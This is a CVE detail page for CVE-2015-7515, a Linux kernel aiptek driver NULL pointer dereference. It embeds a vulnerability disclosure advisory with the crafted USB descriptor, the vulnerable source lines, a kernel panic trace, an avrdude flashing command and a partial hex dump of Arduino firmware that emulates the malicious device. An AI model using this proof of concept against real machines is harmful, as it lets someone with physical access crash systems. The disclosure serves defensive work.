CVE-2015-7515 Detail

CVE-2015-7515

Score / Severity

4.6

Medium

CVE Descriptions

The aiptek_probe function in drivers/input/tablet/aiptek.c in the Linux kernel before 4.4 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted USB device that lacks endpoints.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-476	NULL Pointer Dereference The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	4.6	MEDIUM	CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Physical The attack requires the attacker to physically touch or manipulate the vulnerable component. Physical interaction may be brief (e.g., evil maid attack1) or persistent. An example of such an attack is a cold boot attack in which an attacker gains access to disk encryption keys after physically accessing the target system. Other examples include peripheral attacks via FireWire/USB Direct Memory Access (DMA). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	4.9		AV:L/AC:L/Au:N/C:N/I:N/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 39544

Publication date : 2016-03-08 23h00 +00:00
Author : OpenSource Security
EDB Verified : No

OS-S Security Advisory 2016-05 Linux aiptek Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: CVE-2015-7515 CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid USB device descriptors (aiptek driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of Advisory: https://os-s.net/advisories/OSS-2016-05_aiptek.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB device using the aiptek driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x458 idProduct: 0x5003 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc The aiptek driver assumes that there will be at least one endpoint-descriptor. If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null- pointer and the kernel crashes: **** $ nm aiptek.ko.debug | grep aiptek_probe 0000000000001ea0 t aiptek_probe $ addr2line -e aiptek.ko.debug 2303 /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_ 64/drivers/input/tablet/aiptek.c:1830 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/aiptek.c) 1822 endpoint = &intf->altsetting[0].endpoint[0].desc; /* Nullpointer */ 1823 1824 /* Go set up our URB, which is called when the tablet receives 1825 * input. 1826 */ 1827 usb_fill_int_urb(aiptek->urb, 1828 aiptek->usbdev, 1829 usb_rcvintpipe(aiptek->usbdev, 1830 endpoint->bEndpointAddress), /* Nullpointer- Dereference */ 1831 aiptek->data, 8, aiptek_irq, aiptek, 1832 endpoint->bInterval); **** Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. A patch was provided on the November, 25th 2015. References: https://bugzilla.redhat.com/show_bug.cgi?id=1285326 https://bugzilla.redhat.com/show_bug.cgi?id=1283350 Kernel Stacktrace: [ 622.149957] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 622.354485] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface descriptor's value: 0 [ 622.386630] usb 1-1: New USB device found, idVendor=0458, idProduct=5003 [ 622.392414] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 622.399416] usb 1-1: Product: Ä? [ 622.404640] usb 1-1: Manufacturer: Ä? [ 622.410079] usb 1-1: SerialNumber: % [ 622.444650] BUG: unable to handle kernel NULL pointer dereference at 0000000000000002 [ 622.445019] IP: [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek] [ 622.445019] PGD 0 [ 622.445019] Oops: 0000 [#1] SMP [ 622.445019] Modules linked in: aiptek(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 622.445019] CPU: 0 PID: 2242 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 622.445019] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 622.445019] task: ffff88000e65a220 ti: ffff88000f4cc000 task.ti: ffff88000f4cc000 [ 622.445019] RIP: 0010:[<ffffffffa0395303>] [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek] [ 622.445019] RSP: 0018:ffff88000f4cfb80 EFLAGS: 00010286 [ 622.445019] RAX: 0000000000000000 RBX: ffff88000bd67800 RCX: ffff88000bcd0800 [ 622.445019] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffff88000ca29000 [ 622.445019] RBP: ffff88000f4cfbe0 R08: 0000000000000000 R09: 0000000000000000 [ 622.445019] R10: ffff88000e401400 R11: ffffffff810020d8 R12: ffff88000c525800 [ 622.445019] R13: ffff88000c525830 R14: ffff88000bcd1800 R15: ffff88000bd67834 [ 622.445019] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 622.445019] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 622.445019] CR2: 0000000000000002 CR3: 000000000d67f000 CR4: 00000000000006f0 [ 622.445019] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 622.445019] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 622.445019] Stack: [ 622.445019] ffff88000bcd0800 0000000000000001 0000019000000246 0000019000000032 [ 622.445019] 0000006400000019 0000012c000000c8 000000000cc3e092 ffff88000bcd0890 [ 622.445019] ffff88000bcd0800 ffffffffa0397068 ffff88000c525830 ffffffffa03965c0 [ 622.445019] Call Trace: [ 622.445019] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 622.445019] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 622.445019] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 622.445019] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 622.445019] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 622.445019] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 622.445019] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 622.445019] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 622.445019] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 622.445019] [<ffffffffa039a000>] ? 0xffffffffa0399fff [ 622.445019] [<ffffffffa039a01e>] aiptek_driver_init+0x1e/0x1000 [aiptek] [ 622.445019] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 622.445019] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 622.445019] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 622.445019] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 622.445019] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 622.445019] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 622.445019] Code: 45 31 c9 45 31 c0 b9 ff 03 00 00 be 08 00 00 00 4c 89 f7 e8 90 39 0d e1 49 8b 04 24 48 8b 4b 08 48 8b bb 10 01 00 00 48 8b 40 18 <0f> b6 50 02 0f b6 70 06 8b 01 c1 e2 0f c1 e0 08 81 ca 80 00 00 [ 622.445019] RIP [<ffffffffa0395303>] aiptek_probe+0x463/0x658 [aiptek] [ 622.445019] RSP <ffff88000f4cfb80> [ 622.445019] CR2: 0000000000000002 [ 622.860772] ---[ end trace b239663354a1c556 ]--- [ 622.864813] Kernel panic - not syncing: Fatal exception [ 622.865768] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C2050C942D04CE :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940C02C3 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C50009030C0306 :1000B000FF0203032D032D032D0310031403180364 :1000C0001E0322032D0328030000000200080E0077 :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 :1001100004030202020206060606060604040202A0 :100120000204000000002300260029002C002F00FC :1001300000000000250028002B002E0031000000E8 :100140000000240027002A002D00300000C180811B :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077 :10016000B1E0E0EDF3E102C005900D92A436B107D5 :10017000D9F725E0A4E6B5E001C01D92AF37B2077C :10018000E1F70E94C8000C9402070C940000089547 :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421 :1001A000DEBF0FBECDBF0E949F020E94C70060E06D :1001B00083E00E942E0361E087E00E942E0361E04D :1001C00088E00E942E030E9457067E012AE9E20E73 :1001D000F11C84E093E0D70111969C938E9389E003 :1001E00094E013969C938E93129782E2E2E1F1E001 :1001F0009E012F5F3F4F6901D90101900D928A95B1 :10020000E1F788E1E4E3F1E0DE01939601900D92DD :100210008A95E1F782E1ECE4F1E0DE01DB96019002 :100220000D928A95E1F789E0EEE5F1E0DE01A05953 :10023000BF4F01900D928A95E1F72A593F4F99E0FF :10024000992ED901E92D1D92EA95E9F78E010957FA :100250001F4F87E0E7E6F1E0D80101900D928A9503 :10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189 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